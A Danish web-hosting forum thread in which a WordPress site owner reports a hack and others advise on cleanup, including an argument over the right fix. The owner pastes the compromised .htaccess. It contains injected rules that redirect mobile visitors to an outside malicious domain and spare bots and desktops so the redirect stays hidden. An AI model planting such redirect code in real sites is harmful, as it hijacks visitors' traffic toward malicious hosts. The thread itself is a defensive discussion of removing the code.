Teknik, hosting & e-handelsløsninger

Svar: Wordpress site hacket

Per B. — Wed, 09 Dec 2015 16:52:31 GMT

Hej Anders.

Det tyder på at dit problem er blevet løst.
Jeg kan sagtens forstå den følelse, som man får, når man tror at ens side er blevet hacket. - Det får lige hjertet til at banke lidt hurtigere

Så for at sikre dig mod at det sker, er der en del småting, som du kan gøre.
Jeg tillader mig lige at linke til min e-bog /guide, som er ganske gratis at hente:
https://www.saxo.com/dk/ingen-adgang_pdf_9788799879205

Den er skrevet i så let læseligt sprog som muligt, og indeholder 15 råd til ændringer, som gør ens side mere sikker.
Alle ændringer kan foretages gratis, og uden at man behøver at være specielt IT-kyndig.

Nogle ændringer, kan laves uden videre, og nogle kræver installation af plugins.
Gode plugings, som kan nævnes:
iThemes Security, Sucuri, Block Bad Queries

Go' vind
//Per Bendiksen

Svar: Wordpress site hacket

Jesper Andersen — Wed, 09 Dec 2015 14:08:14 GMT

Hej Anders,

Jeg vil anbefale dig at ofre lidt penge på sikkerhed.
Til vores seriøse WordPress kunder anbefaler vi dette produkt: https://sucuri.net/

Hvis du bestiller det nu til din side, så tilbyder de at rense hele tiden side for dig. Vi har gjort det flere gange for kunder, og alle har været super glade for produktet. Du kan nøjes med en Basic pakke.

Har du ikke den store tekniske viden, kan vi være behjælpelig med opsætning osv.

Det skal lige siges at vi IKKE har noget med ovennævnte produkt at gøre, og heller ikke tjener nogen penge på at henvise til dig.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 13:45:17 GMT

Til trådstarter. Undskylder diskussionen i denne tråd. Men det er nogen gange nødvendigt.

Når det så er sagt, så kan jeg se du bruger AVADA, hvilket betyder at du også har revolution slider installeret på serveren (kan man også se her: http://3ferietilbud.dk/wp-content/plugins/revslider/release_log.html ). Husk at selvom du ikke bruger pluginet, men har det installeret, vil hackere alligevel kunne komme ind den vej. For der er netop et hul i ældre (din) version af revolution slider. Så bruger du det ikke, slet det.

Men du er ikke færdig der. gør også de andre ting jeg har skrevet, da der typisk bliver skrevet noget kode i alle eller mange PHP filer, og yderligere bliver lagt nogle filer på serveren, sådan at de altid har adgang selvom du fjerner det plugin.

MVH Kim Tetzlaff

Svar: Wordpress site hacket

mrsnowman — Wed, 09 Dec 2015 13:07:59 GMT

Anders V:
Hvad gør jeg ?

Jeg ville nok anbefale dig at hyre Kim Tetzlaff eller en anden kompetent udvikler til at løse problemet for dig.

Hvis du vil prøve selv, så start med at tage en backup af filer og database.

Herefter bør du tjekke om du eller din host har en backup fra før problemet opstod, som du kan få indlæst og så efterfølgende opdatere alt.

Alternativt kan du følgende Kim's råd om at downloade nyeste version af alt og uploade disse via ftp, samt redigere din htaccess.

Slet linje: RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302] og op.

Hvis problemet opstår igen, er der et "ukendt" sikkerhedsbrist i dit theme eller et plugin. Dette kan være meget tidkrævende at finde og er absolut ikke en opgave du kan løse selv.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 12:55:46 GMT

Dan Storm:

Kim Tetzlaff - KTJ-Media.dk:
Både din og min løsning, løser det umiddelbare problem, men det nytter bare ikke en dyt, hvis ikke man også gør andre ting.

Som sagt, min indbakke er åben hvis du har yderligere.

Jeg har sendt dig en privatbesked.

Svar: Wordpress site hacket

Dan Storm — Wed, 09 Dec 2015 12:47:06 GMT

Kim Tetzlaff - KTJ-Media.dk:
Både din og min løsning, løser det umiddelbare problem, men det nytter bare ikke en dyt, hvis ikke man også gør andre ting.

Som sagt, min indbakke er åben hvis du har yderligere.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 12:44:49 GMT

Dan Storm:
Jeg forsøgte ikke at rådgive om at fikse hans WordPress (det er som at prøve at lappe en hest med et brækket ben), men om at løse hans umiddelbare problem som var at mobiler blev viderestillet. Din rådgivning om løsningen på netop det problem er det jeg kritiserer. Ikke din løsningmodel til den fremadrettede indsats. Prøv at se om du kan holde snot og spyt adskilt.

Gad godt vide hvordan du kan kritisere min løsning af netop det problem, når det netop fjerner hans problem? Prøv evt. at sætte dig ind i hvad det er der sker i htaccess filen, før du kritisere de løsningsmodeller jeg kommer med.

Både din og min løsning, løser det umiddelbare problem, men det nytter bare ikke en dyt, hvis ikke man også gør andre ting.

Svar: Wordpress site hacket

Dan Storm — Wed, 09 Dec 2015 12:33:41 GMT

Kim Tetzlaff - KTJ-Media.dk:
Gider egentlig ikke diskutere sådan noget,

Men så alligevel, ser jeg.

Kim Tetzlaff - KTJ-Media.dk:

Det har intet med holdninger at gøre, men derimod viden.

Du beder ham om at nulstille htaccess filen, som det eneste. og kommer med en lidt vag "så skal du bare finde ud af hvordan filen blev ændret".

Jeg forsøgte ikke at rådgive om at fikse hans WordPress (det er som at prøve at lappe en hest med et brækket ben), men om at løse hans umiddelbare problem som var at mobiler blev viderestillet. Din rådgivning om løsningen på netop det problem er det jeg kritiserer. Ikke din løsningmodel til den fremadrettede indsats. Prøv at se om du kan holde snot og spyt adskilt.

Resten af dit indlæg er ikke relevant for min kritik af din rådgivning. Jeg synes det er fint du kommer med reelle løsningsforslag til at rette problemet fremadrettet.

Hvis du har yderligere, så er min indbakke åben.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 12:02:31 GMT

Gider egentlig ikke diskutere sådan noget, men nu bringer du det jo selv på banen.

Dan Storm:

Kim Tetzlaff - KTJ-Media.dk:
Nu ved jeg jo hvad alt det andet er,

Det er super fint at _du_ ved det, men det er fuldstændig meningsløst at opfordre til at beholde noget fuldstændigt unødvendigt (og for OP ukendt) når der er bedre løsninger. Derfor betragter jeg det som dårlig rådgivning.

Kim Tetzlaff - KTJ-Media.dk:
kan ikke set at det nogensinde kan være dårlig rådgivning.

Jeg kender også mekanikere som mener at man ligeså godt kan køre på sommerdæk om vinteren, hvis bare dækkene er nye nok - det synes jeg også er elendig rådgivning. Uanset så er det holdningssag og vi har begge ytret vores holdninger, så må det være op til OP at selv tage en beslutning.

Det har intet med holdninger at gøre, men derimod viden.

Du beder ham om at nulstille htaccess filen, som det eneste. og kommer med en lidt vag "så skal du bare finde ud af hvordan filen blev ændret".

Dan Storm:

Ja, hvis du lige tager og downloaded en ny udgave af WordPress og erstatter den .htaccess fil, så er dit problem løst. Så skal du bare finde ud af hvordan filen blev ændret.

INTET problem er løst ved den metode.
5 minutter efter kan den fil være ændret igen.

Så hvad skal han så gøre... sidde og lede efter et muligt hul?
Nej ikke rigtig. Han skal tage action, og få siden at nettet sådan at han selv kan arbejde med siden mens han fjerner de huller der evt er. netop som jeg har beskrevet:

Kim Tetzlaff - KTJ-Media.dk:

Du kan også bare slette denne linje: RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302] og over.

Men ud over det, så nytter det ikke ret meget, medmindre du ændre sitet så kun du kan tilgå siden, opdaterer ALT, og jeg mener alt fra temaer til WP og Plugins. Hent manuelt helt nye filer ned, sådan at du i sidste ende kan slette alt der er online undtagen uploadsmappen, for derefter at udskifte det med den helt rene og nye version du har liggende. Men være sikker på at du har opdateret alt.

Ellers ender du bare ud i det samme, da dem der er kommet ind typisk finder et hul i tema eller plugins og udnytter det. Og i samme ombæring skal du også ændre FTP password og Database Password.

Svar: Wordpress site hacket

Dan Storm — Wed, 09 Dec 2015 11:46:50 GMT

Kim Tetzlaff - KTJ-Media.dk:
Nu ved jeg jo hvad alt det andet er,

Det er super fint at _du_ ved det, men det er fuldstændig meningsløst at opfordre til at beholde noget fuldstændigt unødvendigt (og for OP ukendt) når der er bedre løsninger. Derfor betragter jeg det som dårlig rådgivning.

Kim Tetzlaff - KTJ-Media.dk:
kan ikke set at det nogensinde kan være dårlig rådgivning.

Jeg kender også mekanikere som mener at man ligeså godt kan køre på sommerdæk om vinteren, hvis bare dækkene er nye nok - det synes jeg også er elendig rådgivning. Uanset så er det holdningssag og vi har begge ytret vores holdninger, så må det være op til OP at selv tage en beslutning.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 11:40:21 GMT

Dan Storm:
Konceptuelt ville det være bedre at få ryddet op i noget som han slet ikke ved hvad er. Det der er i min optik dårlig rådgivning.

Nu ved jeg jo hvad alt det andet er, så faktum er at han stadig kun behøver at fjerne

Kim Tetzlaff - KTJ-Media.dk:
Du kan også bare slette denne linje: RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302] og over.

og så ellers gøre som jeg hurtigt har beskrevet. kan ikke set at det nogensinde kan være dårlig rådgivning.

Svar: Wordpress site hacket

Dan Storm — Wed, 09 Dec 2015 11:22:00 GMT

Kim Tetzlaff - KTJ-Media.dk:
Du kan også bare slette denne linje: RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302]

Konceptuelt ville det være bedre at få ryddet op i noget som han slet ikke ved hvad er. Det der er i min optik dårlig rådgivning.

Svar: Wordpress site hacket

Kim Tetzlaff - Kim Tetzlaff ApS — Wed, 09 Dec 2015 11:20:45 GMT

Du kan også bare slette denne linje: RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302] og over.

Men ud over det, så nytter det ikke ret meget, medmindre du ændre sitet så kun du kan tilgå siden, opdaterer ALT, og jeg mener alt fra temaer til WP og Plugins. Hent manuelt helt nye filer ned, sådan at du i sidste ende kan slette alt der er online undtagen uploadsmappen, for derefter at udskifte det med den helt rene og nye version du har liggende. Men være sikker på at du har opdateret alt.

Ellers ender du bare ud i det samme, da dem der er kommet ind typisk finder et hul i tema eller plugins og udnytter det. Og i samme ombæring skal du også ændre FTP password og Database Password.

Svar: Wordpress site hacket

Dan Storm — Wed, 09 Dec 2015 11:05:03 GMT

Ja, hvis du lige tager og downloaded en ny udgave af WordPress og erstatter den .htaccess fil, så er dit problem løst. Så skal du bare finde ud af hvordan filen blev ændret.

Svar: Wordpress site hacket

Anders V — Wed, 09 Dec 2015 10:45:15 GMT

Ja den er her :

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]

RewriteRule ^(.*)$ http://gl.mobtrf.ru/?mob [L,R=302]
# BEGIN W3TC Browser Cache
<IfModule mod_mime.c>
AddType text/css .css
AddType text/x-component .htc
AddType application/x-javascript .js
AddType application/javascript .js2
AddType text/javascript .js3
AddType text/x-js .js4
AddType text/html .html .htm
AddType text/richtext .rtf .rtx
AddType image/svg+xml .svg .svgz
AddType text/plain .txt
AddType text/xsd .xsd
AddType text/xsl .xsl
AddType text/xml .xml
AddType video/asf .asf .asx .wax .wmv .wmx
AddType video/avi .avi
AddType image/bmp .bmp
AddType application/java .class
AddType video/divx .divx
AddType application/msword .doc .docx
AddType application/vnd.ms-fontobject .eot
AddType application/x-msdownload .exe
AddType image/gif .gif
AddType application/x-gzip .gz .gzip
AddType image/x-icon .ico
AddType image/jpeg .jpg .jpeg .jpe
AddType application/json .json
AddType application/vnd.ms-access .mdb
AddType audio/midi .mid .midi
AddType video/quicktime .mov .qt
AddType audio/mpeg .mp3 .m4a
AddType video/mp4 .mp4 .m4v
AddType video/mpeg .mpeg .mpg .mpe
AddType application/vnd.ms-project .mpp
AddType application/x-font-otf .otf
AddType application/vnd.ms-opentype .otf
AddType application/vnd.oasis.opendocument.database .odb
AddType application/vnd.oasis.opendocument.chart .odc
AddType application/vnd.oasis.opendocument.formula .odf
AddType application/vnd.oasis.opendocument.graphics .odg
AddType application/vnd.oasis.opendocument.presentation .odp
AddType application/vnd.oasis.opendocument.spreadsheet .ods
AddType application/vnd.oasis.opendocument.text .odt
AddType audio/ogg .ogg
AddType application/pdf .pdf
AddType image/png .png
AddType application/vnd.ms-powerpoint .pot .pps .ppt .pptx
AddType audio/x-realaudio .ra .ram
AddType application/x-shockwave-flash .swf
AddType application/x-tar .tar
AddType image/tiff .tif .tiff
AddType application/x-font-ttf .ttf .ttc
AddType application/vnd.ms-opentype .ttf .ttc
AddType audio/wav .wav
AddType audio/wma .wma
AddType application/vnd.ms-write .wri
AddType application/font-woff .woff
AddType application/vnd.ms-excel .xla .xls .xlsx .xlt .xlw
AddType application/zip .zip
</IfModule>
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType text/css A31536000
ExpiresByType text/x-component A31536000
ExpiresByType application/x-javascript A31536000
ExpiresByType application/javascript A31536000
ExpiresByType text/javascript A31536000
ExpiresByType text/x-js A31536000
ExpiresByType text/html A3600
ExpiresByType text/richtext A3600
ExpiresByType image/svg+xml A3600
ExpiresByType text/plain A3600
ExpiresByType text/xsd A3600
ExpiresByType text/xsl A3600
ExpiresByType text/xml A3600
ExpiresByType video/asf A31536000
ExpiresByType video/avi A31536000
ExpiresByType image/bmp A31536000
ExpiresByType application/java A31536000
ExpiresByType video/divx A31536000
ExpiresByType application/msword A31536000
ExpiresByType application/vnd.ms-fontobject A31536000
ExpiresByType application/x-msdownload A31536000
ExpiresByType image/gif A31536000
ExpiresByType application/x-gzip A31536000
ExpiresByType image/x-icon A31536000
ExpiresByType image/jpeg A31536000
ExpiresByType application/json A31536000
ExpiresByType application/vnd.ms-access A31536000
ExpiresByType audio/midi A31536000
ExpiresByType video/quicktime A31536000
ExpiresByType audio/mpeg A31536000
ExpiresByType video/mp4 A31536000
ExpiresByType video/mpeg A31536000
ExpiresByType application/vnd.ms-project A31536000
ExpiresByType application/x-font-otf A31536000
ExpiresByType application/vnd.ms-opentype A31536000
ExpiresByType application/vnd.oasis.opendocument.database A31536000
ExpiresByType application/vnd.oasis.opendocument.chart A31536000
ExpiresByType application/vnd.oasis.opendocument.formula A31536000
ExpiresByType application/vnd.oasis.opendocument.graphics A31536000
ExpiresByType application/vnd.oasis.opendocument.presentation A31536000
ExpiresByType application/vnd.oasis.opendocument.spreadsheet A31536000
ExpiresByType application/vnd.oasis.opendocument.text A31536000
ExpiresByType audio/ogg A31536000
ExpiresByType application/pdf A31536000
ExpiresByType image/png A31536000
ExpiresByType application/vnd.ms-powerpoint A31536000
ExpiresByType audio/x-realaudio A31536000
ExpiresByType image/svg+xml A31536000
ExpiresByType application/x-shockwave-flash A31536000
ExpiresByType application/x-tar A31536000
ExpiresByType image/tiff A31536000
ExpiresByType application/x-font-ttf A31536000
ExpiresByType application/vnd.ms-opentype A31536000
ExpiresByType audio/wav A31536000
ExpiresByType audio/wma A31536000
ExpiresByType application/vnd.ms-write A31536000
ExpiresByType application/font-woff A31536000
ExpiresByType application/vnd.ms-excel A31536000
ExpiresByType application/zip A31536000
</IfModule>
<IfModule mod_deflate.c>
<IfModule mod_headers.c>
Header append Vary User-Agent env=!dont-vary
</IfModule>
AddOutputFilterByType DEFLATE text/css text/x-component application/x-javascript application/javascript text/javascript text/x-js text/html text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon application/json
<IfModule mod_mime.c>
# DEFLATE by extension
AddOutputFilter DEFLATE js css htm html xml
</IfModule>
</IfModule>
<FilesMatch "\.(css|htc|less|js|js2|js3|js4|CSS|HTC|LESS|JS|JS2|JS3|JS4)$">
FileETag MTime Size
<IfModule mod_headers.c>
Header set Pragma "public"
Header append Cache-Control "public"
</IfModule>
</FilesMatch>
<FilesMatch "\.(html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml|HTML|HTM|RTF|RTX|SVG|SVGZ|TXT|XSD|XSL|XML)$">
FileETag MTime Size
<IfModule mod_headers.c>
Header set Pragma "public"
Header append Cache-Control "public"
</IfModule>
</FilesMatch>
<FilesMatch "\.(asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|eot|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|json|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif|tiff|ttf|ttc|wav|wma|wri|woff|xla|xls|xlsx|xlt|xlw|zip|ASF|ASX|WAX|WMV|WMX|AVI|BMP|CLASS|DIVX|DOC|DOCX|EOT|EXE|GIF|GZ|GZIP|ICO|JPG|JPEG|JPE|JSON|MDB|MID|MIDI|MOV|QT|MP3|M4A|MP4|M4V|MPEG|MPG|MPE|MPP|OTF|ODB|ODC|ODF|ODG|ODP|ODS|ODT|OGG|PDF|PNG|POT|PPS|PPT|PPTX|RA|RAM|SVG|SVGZ|SWF|TAR|TIF|TIFF|TTF|TTC|WAV|WMA|WRI|WOFF|XLA|XLS|XLSX|XLT|XLW|ZIP)$">
FileETag MTime Size
<IfModule mod_headers.c>
Header set Pragma "public"
Header append Cache-Control "public"
</IfModule>
</FilesMatch>
# END W3TC Browser Cache
# BEGIN W3TC Page Cache core
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP:Accept-Encoding} gzip
RewriteRule .* - [E=W3TC_ENC:_gzip]
RewriteCond %{HTTP_COOKIE} w3tc_preview [NC]
RewriteRule .* - [E=W3TC_PREVIEW:_preview]
RewriteCond %{REQUEST_METHOD} !=POST
RewriteCond %{QUERY_STRING} =""
RewriteCond %{REQUEST_URI} \/$
RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC]
RewriteCond "%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" -f
RewriteRule .* "/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" [L]
</IfModule>
# END W3TC Page Cache core
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress